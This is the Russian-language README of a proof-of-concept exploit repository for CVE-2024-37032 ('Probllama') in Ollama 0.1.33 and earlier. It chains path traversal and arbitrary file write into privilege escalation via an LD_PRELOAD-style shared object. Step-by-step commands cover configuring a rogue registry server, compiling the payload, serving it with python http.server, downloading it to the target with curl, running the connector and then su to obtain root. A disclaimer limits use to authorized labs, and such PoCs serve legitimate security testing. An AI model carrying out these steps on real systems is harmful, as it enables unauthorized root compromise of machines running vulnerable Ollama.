
CVE-2024-37032 (Probllama) PoC для Ollama ≤0.1.33: обход пути и произвольная запись файла через обработку дайджеста модели, что приводит к автоматическому повышению привилегий.
Этот репозиторий содержит сервер реестра FastAPI для доказательства концепции, скрипт коннектора и демо-библиотеку предзагрузки для авторизованного лабораторного тестирования.
Используйте это только на системах, которыми вы владеете или на которых вам явно разрешено тестирование.
server.py: запускает сервер PoC FastAPI.rogue_server/config.py: центральная конфигурация для сервера PoC.connector.py: отправляет запросы pull/push к целевому API Ollama.preload_privs_demo.c: исходный код C для полезной нагрузки в виде shared object.requirements.txt: зависимости Python для сервера PoC.На вашей хост-машине установите зависимости Python:
python -m pip install -r requirements.txt
Отредактируйте rogue_server/config.py на вашей хост-машине:
HOST = "<your_host_ip_or_host_ip>"
Отредактируйте connector.py:
SERVER_HOST = "<your_host_ip_or_host_ip:8000>"
TARGET_HOST = "127.0.0.1"
TARGET_PORT = 11434
Примечания:
SERVER_HOST должен указывать на хост, на котором запущен server.py.8000, укажите порт в обоих параметрах HOST и SERVER_HOST, например 10.10.16.160:8000.TARGET_HOST и TARGET_PORT должны указывать на целевой API Ollama. Если connector.py запускается непосредственно на целевой машине, обычно верно 127.0.0.1:11434.rogue_server/config.py, перезапустите сервер PoC.Скомпилируйте C-файл и назовите выходной файл libpreload_privs_demo.so:
gcc -shared -fPIC -o libpreload_privs_demo.so preload_privs_demo.c
Скопируйте эти файлы на авторизованную целевую машину:
libpreload_privs_demo.soconnector.pyОдин из простых способов — раздать их с вашей хост-машины:
python3 -m http.server 8081
Затем загрузите их с целевой машины:
curl -O http://<your_host_ip>:8081/libpreload_privs_demo.so
curl -O http://<your_host_ip>:8081/connector.py
После загрузки shared object скопируйте его абсолютный путь на целевой машине и задайте этот же путь как exploit_path в rogue_server/config.py на хост-машине.
Пример:
exploit_path = "/tmp/libpreload_privs_demo.so"
Запустите сервер FastAPI на вашей хост-машине:
python server.py
По умолчанию этот проект запускает Uvicorn на 0.0.0.0:8000.
На авторизованной целевой машине выполните:
python3 connector.py
Коннектор отправляет запросы pull и push к настроенному API Ollama.
После завершения работы коннектора выполните:
su
На уязвимой, правильно настроенной лабораторной цели должен использоваться путь предзагрузки, и можно будет наблюдать переход привилегий.
SERVER_HOST в connector.py совпадает с HOST в rogue_server/config.py.exploit_path — это точный абсолютный путь, где находится libpreload_privs_demo.so на целевой машине.TARGET_HOST:TARGET_PORT.server.py после изменения rogue_server/config.py.